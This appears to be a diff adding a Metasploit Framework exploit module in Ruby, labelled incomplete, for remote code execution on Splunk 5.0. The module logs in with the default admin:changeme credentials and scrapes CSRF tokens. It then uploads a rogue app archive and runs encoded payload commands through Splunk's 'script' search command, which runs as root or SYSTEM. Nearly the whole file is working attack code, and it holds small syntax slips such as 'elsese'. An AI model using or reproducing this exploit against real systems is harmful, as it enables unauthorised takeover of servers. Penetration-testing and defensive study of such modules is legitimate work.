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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => '[INCOMPLETE] Splunk 5.0 Custom App Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a feature of Splunk whereby a custom application can be |
| 20 | + uploaded through the web based interface. Through the 'script' search command a |
| 21 | + user can call commands defined in their custom application which includes arbitrary |
| 22 | + perl or python code. To abuse this behavior, a valid Splunk user with the admin |
| 23 | + role is required. By default, this module uses the credential of "admin:changeme", |
| 24 | + the default Administrator credential for Splunk. Note that the Splunk web interface |
| 25 | + runs as SYSTEM on Windows, or as root on Linux by default. This module has only |
| 26 | + been tested successfully against Splunk 5.0. |
| 27 | + }, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + "@marcwickenden", # discovery and metasploit module |
| 31 | + "sinn3r", # metasploit module |
| 32 | + "juan vazquez", # metasploit module |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ], |
| 38 | + [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ], |
| 39 | + [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ] |
| 40 | + ], |
| 41 | + 'Payload' => |
| 42 | + { |
| 43 | + 'Space' => 1024, |
| 44 | + 'DisableNops' => true |
| 45 | + }, |
| 46 | + 'Platform' => ['unix', 'win', 'linux'], |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + [ 'Splunk 5.0.1 / Linux', |
| 50 | + { |
| 51 | + 'Arch' => ARCH_CMD, |
| 52 | + 'Platform' => [ 'linux', 'unix' ] |
| 53 | + } |
| 54 | + ], |
| 55 | + [ 'Splunk 5.0.1 / Windows', |
| 56 | + { |
| 57 | + 'Arch' => ARCH_CMD, |
| 58 | + 'Platform' => 'win' |
| 59 | + } |
| 60 | + ] |
| 61 | + ], |
| 62 | + 'DefaultTarget' => 0, |
| 63 | + 'DisclosureDate' => 'Sep 27 2012')) |
| 64 | + |
| 65 | + register_options( |
| 66 | + [ |
| 67 | + Opt::RPORT(8000), |
| 68 | + OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), |
| 69 | + OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]), |
| 70 | + OptPath.new('SPLUNK_APP_FILE', |
| 71 | + [ |
| 72 | + true, |
| 73 | + 'The "rogue" Splunk application tgz', |
| 74 | + File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz') |
| 75 | + ]) |
| 76 | + ], self.class) |
| 77 | + |
| 78 | + register_advanced_options( |
| 79 | + [ |
| 80 | + OptBool.new('ReturnOutput', [ true, 'Display command output', false ]), |
| 81 | + OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]), |
| 82 | + OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]), |
| 83 | + OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5]) |
| 84 | + ], self.class) |
| 85 | + end |
| 86 | + |
| 87 | + def exploit |
| 88 | + # process standard options |
| 89 | + @username = datastore['USERNAME'] |
| 90 | + @password = datastore['PASSWORD'] |
| 91 | + file_name = datastore['SPLUNK_APP_FILE'] |
| 92 | + |
| 93 | + # process advanced options |
| 94 | + return_output = datastore['ReturnOutput'] |
| 95 | + disable_upload = datastore['DisableUpload'] |
| 96 | + @enable_overwrite = datastore['EnableOverwrite'] |
| 97 | + command_output_delay = datastore['CommandOutputDelay'] |
| 98 | + |
| 99 | + # set up some variables for later use |
| 100 | + @auth_cookies = '' |
| 101 | + @csrf_form_key = '' |
| 102 | + app_name = 'upload_app_exec' |
| 103 | + p = payload.encoded |
| 104 | + print_status("Using command: #{p}") |
| 105 | + cmd = Rex::Text.encode_base64(p) |
| 106 | + |
| 107 | + # log in to Splunk (if required) |
| 108 | + do_login |
| 109 | + |
| 110 | + # fetch the csrf token for use in the upload next |
| 111 | + do_get_csrf('/en-US/manager/launcher/apps/local') |
| 112 | + |
| 113 | + unless disable_upload |
| 114 | + # upload the arbitrary command execution Splunk app tgz |
| 115 | + do_upload_app(app_name, file_name) |
| 116 | + end |
| 117 | + |
| 118 | + # get the next csrf token from our new app |
| 119 | + do_get_csrf("/en-US/app/#{app_name}/flashtimeline") |
| 120 | + |
| 121 | + # call our command execution function with the Splunk 'script' command |
| 122 | + print_status("Invoking script command") |
| 123 | + res = send_request_cgi( |
| 124 | + { |
| 125 | + 'uri' => '/en-US/api/search/jobs', |
| 126 | + 'method' => 'POST', |
| 127 | + 'cookie' => @auth_cookies, |
| 128 | + 'headers' => |
| 129 | + { |
| 130 | + 'X-Requested-With' => 'XMLHttpRequest', |
| 131 | + 'X-Splunk-Form-Key' => @csrf_form_key |
| 132 | + }, |
| 133 | + 'vars_post' => |
| 134 | + { |
| 135 | + 'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf |
| 136 | + 'status_buckets' => "300", |
| 137 | + 'namespace' => "#{app_name}", |
| 138 | + 'ui_dispatch_app' => "#{app_name}", |
| 139 | + 'ui_dispatch_view' => "flashtimeline", |
| 140 | + 'auto_cancel' => "100", |
| 141 | + 'wait' => "0", |
| 142 | + 'required_field_list' => "*", |
| 143 | + 'adhoc_search_level' => "smart", |
| 144 | + 'earliest_time' => "0", |
| 145 | + 'latest_time' => "", |
| 146 | + 'timeFormat' => "%s.%Q" |
| 147 | + } |
| 148 | + }) |
| 149 | + |
| 150 | + if return_output |
| 151 | + res.body.match(/data":\ "([0-9.]+)"/) |
| 152 | + job_id = $1 |
| 153 | + |
| 154 | + # wait a short time to let the output be produced |
| 155 | + print_status("Waiting for #{command_output_delay} seconds to retrieve command output") |
| 156 | + select(nil,nil,nil,command_output_delay) |
| 157 | + job_output = fetch_job_output(job_id) |
| 158 | + if job_output.body.match(/Waiting for data.../) |
| 159 | + print_status("No output returned in time") |
| 160 | + elsese |
| 161 | + output = "" |
| 162 | + job_output.body.each_line do |line| |
| 163 | + # strip off the leading and trailing " added by Splunk |
| 164 | + line.gsub!(/^"/,"") |
| 165 | + line.gsub!(/"$/,"") |
| 166 | + output << line |
| 167 | + end |
| 168 | + |
| 169 | + # return the output |
| 170 | + print_status("Command returned:") |
| 171 | + print_line output |
| 172 | + end |
| 173 | + else |
| 174 | + handler |
| 175 | + end |
| 176 | + end |
| 177 | + |
| 178 | + def check |
| 179 | + # all versions are actually "vulnerable" but check implemented for future proofing |
| 180 | + # and good practice |
| 181 | + res = send_request_cgi( |
| 182 | + { |
| 183 | + 'uri' => '/en-US/account/login', |
| 184 | + 'method' => 'GET' |
| 185 | + }, 25) |
| 186 | + |
| 187 | + if res and res.body =~ /Splunk Inc\. Splunk/ |
| 188 | + return Exploit::CheckCode::Appears |
| 189 | + else |
| 190 | + return Exploit::CheckCode::Safe |
| 191 | + end |
| 192 | + end |
| 193 | + |
| 194 | + def do_login |
| 195 | + print_status("Authenticating...") |
| 196 | + # this method borrowed with thanks from splunk_mappy_exec.rb |
| 197 | + res = send_request_cgi( |
| 198 | + { |
| 199 | + 'uri' => '/en-US/account/login', |
| 200 | + 'method' => 'GET' |
| 201 | + }) |
| 202 | + |
| 203 | + cval = '' |
| 204 | + uid = '' |
| 205 | + session_id_port = |
| 206 | + session_id = '' |
| 207 | + if res and res.code == 200 |
| 208 | + res.headers['Set-Cookie'].split(';').each {|c| |
| 209 | + c.split(',').each {|v| |
| 210 | + if v.split('=')[0] =~ /cval/ |
| 211 | + cval = v.split('=')[1] |
| 212 | + elsif v.split('=')[0] =~ /uid/ |
| 213 | + uid = v.split('=')[1] |
| 214 | + elsif v.split('=')[0] =~ /session_id/ |
| 215 | + session_id_port = v.split('=')[0] |
| 216 | + session_id = v.split('=')[1] |
| 217 | + end |
| 218 | + } |
| 219 | + } |
| 220 | + else |
| 221 | + fail_with(Exploit::Failure::NotFound, "Unable to get session cookies") |
| 222 | + end |
| 223 | + |
| 224 | + res = send_request_cgi( |
| 225 | + { |
| 226 | + 'uri' => '/en-US/account/login', |
| 227 | + 'method' => 'POST', |
| 228 | + 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", |
| 229 | + 'vars_post' => |
| 230 | + { |
| 231 | + 'cval' => cval, |
| 232 | + 'username' => @username, |
| 233 | + 'password' => @password |
| 234 | + } |
| 235 | + }) |
| 236 | + |
| 237 | + if not res or res.code != 303 |
| 238 | + fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") |
| 239 | + else |
| 240 | + session_id_port = '' |
| 241 | + session_id = '' |
| 242 | + res.headers['Set-Cookie'].split(';').each {|c| |
| 243 | + c.split(',').each {|v| |
| 244 | + if v.split('=')[0] =~ /session_id/ |
| 245 | + session_id_port = v.split('=')[0] |
| 246 | + session_id = v.split('=')[1] |
| 247 | + end |
| 248 | + } |
| 249 | + } |
| 250 | + @auth_cookies = "#{session_id_port}=#{session_id}" |
| 251 | + end |
| 252 | + end |
| 253 | + |
| 254 | + def do_upload_app(app_name, file_name) |
| 255 | + archive_file_name = ::File.basename(file_name) |
| 256 | + print_status("Uploading file #{archive_file_name}") |
| 257 | + file_data = ::File.open(file_name, "rb") { |f| f.read } |
| 258 | + |
| 259 | + boundary = '--------------' + rand_text_alphanumeric(6) |
| 260 | + |
| 261 | + data = "--#{boundary}\r\n" |
| 262 | + data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n" |
| 263 | + data << "#{@csrf_form_key}" |
| 264 | + data << "\r\n--#{boundary}\r\n" |
| 265 | + |
| 266 | + if @enable_overwrite |
| 267 | + data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n" |
| 268 | + data << "1" |
| 269 | + data << "\r\n--#{boundary}\r\n" |
| 270 | + end |
| 271 | + |
| 272 | + data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n" |
| 273 | + data << "Content-Type: application/x-compressed\r\n\r\n" |
| 274 | + data << file_data |
| 275 | + data << "\r\n--#{boundary}--\r\n" |
| 276 | + |
| 277 | + res = send_request_cgi({ |
| 278 | + 'uri' => '/en-US/manager/appinstall/_upload', |
| 279 | + 'method' => 'POST', |
| 280 | + 'cookie' => @auth_cookies, |
| 281 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 282 | + 'data' => data |
| 283 | + }, 30) |
| 284 | + |
| 285 | + if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/))) |
| 286 | + print_status("#{app_name} successfully uploaded") |
| 287 | + else |
| 288 | + fail_with(Exploit::Failure::Unknown, "Error uploading") |
| 289 | + end |
| 290 | + end |
| 291 | + |
| 292 | + def do_get_csrf(uri) |
| 293 | + print_status("Fetching csrf token from #{uri}") |
| 294 | + res = send_request_cgi( |
| 295 | + { |
| 296 | + 'uri' => uri, |
| 297 | + 'method' => 'GET', |
| 298 | + 'cookie' => @auth_cookies |
| 299 | + }) |
| 300 | + res.body.match(/FORM_KEY":\ "(\d+)"/) |
| 301 | + @csrf_form_key = $1 |
| 302 | + fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key |
| 303 | + end |
| 304 | + |
| 305 | + def fetch_job_output(job_id) |
| 306 | + # fetch the output of our job id as csv for easy parsing |
| 307 | + print_status("Fetching job_output for id #{job_id}") |
| 308 | + res = send_request_raw( |
| 309 | + { |
| 310 | + 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000", |
| 311 | + 'method' => 'GET', |
| 312 | + 'cookie' => @auth_cookies, |
| 313 | + 'encode_param' => 'false' |
| 314 | + }) |
| 315 | + end |
| 316 | + |
| 317 | +end |
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